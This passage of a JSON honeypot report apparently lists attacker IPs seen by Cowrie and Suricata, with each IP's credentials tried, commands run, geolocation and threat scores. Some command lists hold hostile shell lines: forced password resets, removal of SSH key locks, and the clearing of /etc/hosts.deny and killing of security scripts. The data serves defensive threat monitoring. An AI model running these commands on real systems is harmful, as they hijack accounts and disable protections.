        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Gitlabuser123\\nkdI9ppXJPd3q\\nkdI9ppXJPd3q\\n\"|passwd",
        "echo -e \"Gitlabuser123\\nkdI9ppXJPd3q\\nkdI9ppXJPd3q\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T19:46:40.270000+00:00",
        "last_seen_30d": "2026-03-05T20:08:29.680000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "82.22.21.41": {
      "attack_count": 119,
      "first_seen": "2026-03-18T23:16:05.501Z",
      "last_seen": "2026-03-18T23:34:08.287Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "peter",
        "345gs5662d34",
        "appuser",
        "asus",
        "edward",
        "gitlab",
        "mcserver",
        "mitra",
        "myadmin",
        "posiflex",
        "sdtd"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "edwardpass",
        "myadminpass",
        "peter123",
        "posiflexpass",
        "sdtd123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"peter123\\ntGPShoMdtC1U\\ntGPShoMdtC1U\\n\"|passwd",
        "echo -e \"peter123\\ntGPShoMdtC1U\\ntGPShoMdtC1U\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 63023,
      "as_org": "GTHost",
      "threat_score": 19.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T23:16:05.501000+00:00",
        "last_seen_30d": "2026-03-18T23:35:18.155000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "104.248.90.77": {
      "attack_count": 113,
      "first_seen": "2026-03-11T14:56:42.269Z",
      "last_seen": "2026-03-11T15:54:44.033Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "solv",
        "solana",
        "sol"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "sol",
        "solana",
        "12",
        "1234",
        "12345678",
        "1234567890",
        "Aa123456",
        "SOL",
        "SOL!@#",
        "SoL",
        "Sol",
        "solana123",
        "solv",
        "solv123",
        "solv321"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 170,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T14:53:47.515000+00:00",
        "last_seen_30d": "2026-03-11T15:55:48.336000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 113,
        "Suricata": 57
      }
    },
    "118.139.180.2": {
      "attack_count": 94,
      "first_seen": "2026-03-16T16:40:59.154Z",
      "last_seen": "2026-03-16T17:02:21.451Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "www"
      ],
      "passwords_attempted": [
        "abc123456",
        "123321",
        "159357",
        "5201314",
        "8888888",
        "admin2015",
        "adminadmin",
        "system",
        "www2019"
      ],
      "commands_executed": [
        "< /dev/null"
      ],
      "event_types": [
        "cowrie.direct-tcpip.request",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.client.var",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 26496,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.7,
        "persistence": 0.8,
        "diversity": 16,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 118,
        "days_active_30d": 1,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T16:40:59.154000+00:00",
        "last_seen_30d": "2026-03-16T17:03:25.734000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 24
      }
    },
    "86.54.42.185": {
      "attack_count": 88,
      "first_seen": "2026-03-27T23:12:57.807Z",
      "last_seen": "2026-03-27T23:59:52.317Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1125",
        "345gs5662d34",
        "AsdQwe!23",
        "P@55w0rd!",
        "zZ123456",
        "zeratul"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:cmjZOL9ddAb3\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 42624,
      "as_org": "Global-Data System IT Corporation",
      "threat_score": 30.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 106,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T23:12:57.807000+00:00",
        "last_seen_30d": "2026-03-28T00:01:11.355000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 88,
        "Suricata": 18
      }
    },
    "185.217.1.246": {
      "attack_count": 66,
      "first_seen": "2026-03-02T17:29:33.194Z",
      "last_seen": "2026-03-18T15:53:20.974Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "0",
        "admin",
        "root",
        "ubnt",
        "uucp"
      ],
      "passwords_attempted": [
        "0",
        "admin",
        "password",
        "ubnt",
        "uucp"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 42237,
      "as_org": "w1n ltd",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.6,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 92,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T17:29:33.194000+00:00",
        "last_seen_30d": "2026-03-18T15:54:23.778000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 66,
        "Suricata": 26
      }
    },
    "223.123.43.4": {
      "attack_count": 50,
      "first_seen": "2026-03-05T11:34:12.587Z",
      "last_seen": "2026-03-05T11:39:37.032Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.0,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 80,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T06:41:24.579000+00:00",
        "last_seen_30d": "2026-03-05T11:40:41.677000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 30
      }
    },
    "206.135.161.251": {
      "attack_count": 48,
      "first_seen": "2026-03-14T06:39:29.063Z",
      "last_seen": "2026-03-14T06:44:41.472Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Gujranwala",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 13.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T06:39:29.063000+00:00",
        "last_seen_30d": "2026-03-14T06:45:43.005000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "134.199.204.93": {
      "attack_count": 38,
      "first_seen": "2026-03-02T07:22:41.435Z",
      "last_seen": "2026-03-02T07:33:43.950Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123",
        "root",
        "root123",
        "root321"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Douglasville",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T07:22:41.435000+00:00",
        "last_seen_30d": "2026-03-02T07:34:45.100000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 13
      }
    },
    "38.188.160.166": {
      "attack_count": 33,
      "first_seen": "2026-03-10T23:14:59.586Z",
      "last_seen": "2026-03-11T00:23:12.254Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "frontera",
        "lampadaire",
        "loulou21",
        "quenotte",
        "soleil24",
        "vert"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 10.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:14:59.586000+00:00",
        "last_seen_30d": "2026-03-11T00:24:21.692000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 18
      }
    },
    "125.20.210.182": {
      "attack_count": 25,
      "first_seen": "2026-03-22T19:55:03.513Z",
      "last_seen": "2026-03-22T20:17:47.605Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9498,
      "as_org": "BHARTI Airtel Ltd.",
      "threat_score": 46.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.9,
        "persistence": 8.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 10,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-22T19:55:03.513000+00:00",
        "last_seen_30d": "2026-03-31T14:29:47.513000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 23,
        "Honeytrap": 1
      }
    },
    "112.238.91.154": {
      "attack_count": 16,
      "first_seen": "2026-03-27T07:44:22.466Z",
      "last_seen": "2026-03-27T07:46:05.991Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T07:44:22.466000+00:00",
        "last_seen_30d": "2026-03-27T07:47:13.242000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "185.220.101.99": {
      "attack_count": 16,
      "first_seen": "2026-03-07T20:26:50.533Z",
      "last_seen": "2026-03-09T21:12:01.989Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit",
      "threat_score": 10.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 5.0,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 6,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T16:56:10.766000+00:00",
        "last_seen_30d": "2026-03-09T21:13:11.986000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 12,
        "H0neytr4p": 3
      }
    },
    "78.17.0.9": {
      "attack_count": 15,
      "first_seen": "2026-03-26T21:20:01.684Z",
      "last_seen": "2026-03-26T21:21:14.573Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi",
        "root"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 213459,
      "as_org": "Snowd Security OU",
      "threat_score": 22.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T21:20:01.684000+00:00",
        "last_seen_30d": "2026-03-26T21:22:21.991000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 8
      }
    },
    "106.13.46.139": {
      "attack_count": 12,
      "first_seen": "2026-03-26T05:06:40.307Z",
      "last_seen": "2026-03-26T05:16:22.028Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 21.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T05:06:40.307000+00:00",
        "last_seen_30d": "2026-03-26T05:22:40.256000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "71.6.232.28": {
      "attack_count": 12,
      "first_seen": "2026-03-02T23:02:17.079Z",
      "last_seen": "2026-03-30T13:41:35.346Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 88.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 68,
        "days_active_30d": 30,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T23:02:17.079000+00:00",
        "last_seen_30d": "2026-03-31T04:01:44.086000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 49,
        "Cowrie": 12,
        "Dionaea": 2,
        "Honeytrap": 2,
        "Mailoney": 2,
        "H0neytr4p": 1
      }
    },
    "115.190.132.106": {
      "attack_count": 11,
      "first_seen": "2026-03-08T18:53:33.544Z",
      "last_seen": "2026-03-08T18:55:37.874Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "kjashd123sadhj123d1SS"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T18:53:33.544000+00:00",
        "last_seen_30d": "2026-03-08T19:05:38.382000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 11,
        "Suricata": 6
      }
    },
    "87.121.84.8": {
      "attack_count": 11,
      "first_seen": "2026-03-06T12:48:49.061Z",
      "last_seen": "2026-03-06T12:48:54.551Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "daemon",
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "daemon",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 215925,
      "as_org": "Vpsvault.host Ltd",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T12:48:49.061000+00:00",
        "last_seen_30d": "2026-03-06T12:50:04.043000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 11,
        "Suricata": 3
      }
    },
    "38.188.160.193": {
      "attack_count": 10,
      "first_seen": "2026-03-11T00:11:44.217Z",
      "last_seen": "2026-03-11T00:26:04.870Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "julianne",
        "lifetec"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 8.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T00:11:44.217000+00:00",
        "last_seen_30d": "2026-03-11T00:27:12.885000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "45.194.70.248": {
      "attack_count": 10,
      "first_seen": "2026-03-22T07:22:44.420Z",
      "last_seen": "2026-03-22T07:22:47.132Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 77.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.4,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 87,
        "days_active_30d": 28,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T05:27:58.761000+00:00",
        "last_seen_30d": "2026-03-29T02:33:08.163000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 58,
        "Honeytrap": 15,
        "Cowrie": 10,
        "H0neytr4p": 4
      }
    },
    "137.184.12.175": {
      "attack_count": 8,
      "first_seen": "2026-03-21T07:18:27.068Z",
      "last_seen": "2026-03-21T07:18:52.370Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 56.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 10.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 127491,
        "days_active_30d": 12,
        "ports_targeted_30d": 63943,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-03-10T23:31:42+00:00",
        "last_seen_30d": "2026-03-21T07:29:02.407000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 111481,
        "Honeytrap": 15955,
        "Dionaea": 10,
        "ConPot": 9,
        "Cowrie": 8,
        "Miniprint": 8,
        "Mailoney": 6,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "161.35.230.3": {
      "attack_count": 8,
      "first_seen": "2026-03-08T09:31:42.492Z",
      "last_seen": "2026-03-08T09:33:33.901Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 18.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 2.5,
        "diversity": 20,
        "spread": 25,
